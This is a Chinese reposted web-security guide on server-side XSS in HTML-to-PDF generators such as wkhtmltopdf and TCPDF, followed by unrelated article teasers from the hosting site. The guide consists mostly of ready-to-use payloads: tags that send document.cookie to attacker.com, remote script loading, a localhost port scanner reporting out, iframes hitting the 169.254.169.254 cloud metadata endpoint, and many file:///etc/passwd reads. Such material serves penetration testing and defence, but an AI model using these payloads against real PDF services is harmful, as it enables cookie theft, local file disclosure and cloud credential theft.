【Web漏洞指南】服务器端 XSS(动态 PDF)

【Web漏洞指南】服务器端 XSS(动态 PDF)

  • 概述
  • 流行的 PDF 生成工具
  • 常见攻击载荷

概述

如果一个网页使用用户控制的输入创建 PDF,您可以尝试欺骗创建 PDF 的机器人以执行任意的 JS 代码。
因此,如果PDF 创建机器人发现某种HTML标签,并且解释它们,您可以滥用这种行为来引起服务器 XSS。
在常规利用中,能够查看/下载创建的 PDF,因此您将能够查看您通过 JS 编写的所有内容(例如使用 document.write())。但是,如果您无法看到创建的 PDF,可能需要通过向您发出网络请求来提取信息(盲人测试)


流行的 PDF 生成工具

  • wkhtmltopdf 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名
  • TCPDF 在 PHP 生态系统中提供了一个强大的 PDF 生成解决方案
  • 对于在 Node.js 环境中工作的人,PDFKit 提供了一个可行的选择。它使得可以直接从 HTML 和 CSS 生成 PDF 文档
  • Java 开发人员可能更喜欢 iText,这是一个库,不仅有助于 PDF 创建,还支持高级功能,如数字签名和表单填充
  • FPDF 是另一个 PHP 库,以其简单性和易用性而著称

常见攻击载荷

1、测试XSS

<!-- 基本测试 -->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script><!-- 盲测 -->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

2、SVG payload

一个访问Burpcollab子域的iframe和另一个访问元数据端点的iframe

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg><svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill=""
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

更多SVG负载:

https://github.com/allanlw/svg-cheatsheet

3、路径泄露

<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

4、加载外部脚本

利用这个漏洞的最佳方法是滥用漏洞,使机器人加载您本地控制的脚本。然后,您将能够在本地更改有效负载,并使机器人每次都使用相同的代码加载它。

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" οnerrοr="document.write('<script src="https://attacker.com/test.js"></script>')"/>

5、机器人延迟

让机器人每 500 毫秒发送一次 ping 来检查机器人等待了多长时间

<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

6、端口扫描

<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

7、读取本地文件 / SSRF

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/9433.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【退役之重学Java】如何保证消息的幂等性

除了要保证高可用之外&#xff0c;从消息队列里消费到重复的消息该怎么办&#xff1f;即如何保证消息的幂等性 一、场景 消费者刚消费完&#xff0c;还没有提交&#xff0c;突然重启&#xff0c;导致重启后又收到了相同的消息&#xff0c;这就是重复消费 二、保证幂等性是什么…

为Linux的shell脚本编程创建文件时自动生成注释信息如(!/bin/bash)等

大家在每一次创建一个新的以.s等后缀结束的文件时可能总是会面临重复写一些注释信息,其实我们只需写一个文件自动生成这些就可以避免这些麻烦 首先在/root下新建一个如.vimrc的文件&#xff08;vim /root/.vimrc&#xff09; 然后输入以下内容 autocmd BufNewFile *.py,*.cc,…

程控负载的功能实现原理

程控负载&#xff0c;顾名思义&#xff0c;就是可以通过程序控制其工作状态的负载设备。它的主要功能是模拟实际负载的工作状态&#xff0c;为电源、电子设备等提供稳定的工作电流或电压。程控负载的功能实现原理主要包括以下几个方面&#xff1a; 1. 电流和电压调节&#xff1…

小米poco x3 pro adbd 以root权限启动提供服务

1. 首先申请解锁 2. 按volume - 和 power开机进入fastboot 3.下载twrp-3.7.1_12-0-vayu.img 4. fastboot flash recoery twrp-3.7.1_12-0-vayu.img, 安装magisk, termux 5. 下载aosp的android11的aosp_arm64-img-11718355.zip,Artifact Viewer 6. 解压aosp_arm64-img-1…

开源模型应用落地-CodeQwen模型小试-SQL专家测试(二)

一、前言 代码专家模型是基于人工智能的先进技术&#xff0c;它能够自动分析和理解大量的代码库&#xff0c;并从中学习常见的编码模式和最佳实践。这种模型可以提供准确而高效的代码建议&#xff0c;帮助开发人员在编写代码时避免常见的错误和陷阱。 通过学习代码专家模型&…

云联网是一种可扩展的、全球性的网络解决方案,用于连接多个地理位置的云部署和数据中心,实现各种云服务之间以及云与现有数据中心之间的安全、高速、稳定的连接

云联网是一种可扩展的、全球性的网络解决方案&#xff0c;用于连接多个地理位置的云部署和数据中心&#xff0c;实现各种云服务之间以及云与现有数据中心之间的安全、高速、稳定的连接。它基于SDN&#xff08;软件定义网络&#xff09;技术&#xff0c;提供一点上云、多云连接及…

ChatGPT开源的whisper音频生成字幕

1、前言 好了&#xff0c;那接下来看一下whisper开源库的介绍 有五种模型大小&#xff0c;其中四种仅支持英语&#xff0c;提供速度和准确性的权衡。上面便是可用模型的名称、大致的内存需求和相对速度。如果是英文版的语音&#xff0c;直接想转换为英文。 本来我是想直接在我的…

情感分类学习笔记(2)

Shopping Reviews sentiment analysis | Ldys Blog (buptldy.github.io) 1. imdb_w2v Word2Vec(sizen_dim, min_count10) 在你给出的代码片段中&#xff1a; python复制代码 imdb_w2v Word2Vec(sizen_dim, min_count10) 这里你试图创建一个Word2Vec模型实例&#xff0c;…

魔法程序员的奥妙指南:Java基本语法

作为一名魔法程序员&#xff0c;精通Java语言是至关重要的。Java作为一种强大的编程语言&#xff0c;在编写优质代码和开发强大应用程序时发挥着重要作用。让我们深入探讨Java基本语法的关键要点&#xff0c;从注释到变量&#xff0c;无所不包&#xff01; Java基本语法的神秘魔…

Linux网络编程:TCP并发服务器实现

目录 1、前言 2、多进程代码实现 2.1 创建新的进程 2.2 客户端接收响应函数 2.3 僵尸进程处理 2.4 完整代码 2.5 代码测试 3、多线程代码实现 3.1 创建新的线程 3.2 线程函数定义 3.3 完整代码 3.4 代码测试 4、总结 1、前言 前面实现了基本的TCP编程&#xf…

7-Zip 的使用技巧

7-Zip 是一款功能强大的压缩软件&#xff0c;它提供了多种使用技巧来帮助用户更高效地管理文件。以下是一些7-Zip的使用技巧&#xff1a; 1. 压缩文件&#xff1a;用户可以通过7-Zip将文件或文件夹压缩成.7z或其他支持的格式&#xff0c;以节省空间。 2. 解压文件&#xff1a…

python列表推导式加if,else判断

在Python中&#xff0c;列表推导式&#xff08;List Comprehension&#xff09;是一种简洁的构建列表的方式。你可以在列表推导式中加入if和else语句来进行条件判断。 以下是一个简单的例子&#xff0c;假设我们有一个数字列表&#xff0c;我们想要创建一个新的列表&#xff0…

一文了解美国洛杉矶私有云的亮点优势

美国洛杉矶作为全球科技与经济的重要中心&#xff0c;其私有云服务的亮点优势备受瞩目。以下是对洛杉矶私有云优势的科普介绍。 首先&#xff0c;洛杉矶私有云的核心优势在于其安全性。在私有云环境中&#xff0c;数据被存储在专有的、隔离的服务器上&#xff0c;这意味着只有授…

同创优配正规炒股A股三大指数集体收涨 创指重回1900点关口

查查配5月9日电 周四,A股三大指数震荡上扬。截至收盘,上证指数涨0.83%,报3154.32点;深证成指涨1.55%,报9788.07点;创业板指涨1.87%,报1900.01点。总体上个股涨多跌少,全市场超4200只个股上涨。沪深两市今日成交额9011亿元,较上个交易日放量367亿元。 同创优配是AAA 级诚信经营…

GNU/Linux - 系统启动流程及rcS脚本介绍

Linux系统启动流程 在 Linux 系统启动过程中&#xff0c;会按特定顺序执行多个脚本和初始化例程&#xff0c;以使系统进入可用状态。虽然具体顺序可能因 Linux 发行版和版本而异&#xff0c;但以下是典型执行顺序的概括性概述&#xff1a; 1. BIOS/UEFI&#xff1a; 系统开机后…

【win10 文件夹数量和看到不一致查看隐藏文件已经打开,Thumb文件作妖】

目录 任务介绍&#xff1a;重命名规则修改前修改后 实现思路VB代码实现BUG犯罪现场&#xff08;眼见不一定为实&#xff09;破案1&#xff1a;抓顶风作案的反贼&#xff01;&#xff01;&#xff01;破案2&#xff1a;破隐身抓刺客&#xff01;&#xff01;&#xff01;杀器&am…

机器人系统ros2-开发实践08-了解如何使用 tf2 来访问坐标帧转换(Python)

tf2 库允许你在 ROS 节点中查询两个帧之间的转换。这个查询可以是阻塞的&#xff0c;也可以是非阻塞的&#xff0c;取决于你的需求。下面是一个基本的 Python 示例&#xff0c;展示如何在 ROS 节点中使用 tf2 查询帧转换。 本教程假设您已完成tf2 静态广播器教程 (Python)和tf…

今日早报 每日精选15条新闻简报 每天一分钟 知晓天下事 5月10日,星期五

每天一分钟&#xff0c;知晓天下事&#xff01; 2024年5月10日 星期五 农历四月初三 1、 商务部&#xff1a;汽车以旧换新补贴可与新能源汽车购置税减免等叠加享受。 2、 教育部&#xff1a;京津优质中小学基础教育资源同雄安共享。 3、 医保局&#xff1a;发挥零售药店等不同…

HarmonyOS NEXT星河版之美团外卖点餐功能实战(上)

文章目录 一、目标二、开撸2.1 目录结构2.2 页面模块拆分2.3 主体拆分布局2.4 底部购物车布局2.5 顶部布局2.6 点菜布局---左2.7 菜品Item封装2.7 点菜布局---右2.8 主页面整体布局 三、小结 一、目标 二、开撸 2.1 目录结构 2.2 页面模块拆分 将页面主体拆为三部分&#xff…

Middle for Mac:简洁高效的文本编辑软件

追求简洁与高效&#xff1f;Middle for Mac将是您文本编辑的最佳选择。这款Mac平台上的文本编辑器&#xff0c;以其独特的魅力和实用的功能&#xff0c;赢得了众多用户的喜爱。 Middle注重用户体验&#xff0c;采用简洁直观的界面设计&#xff0c;让您能够迅速上手并享受高效的…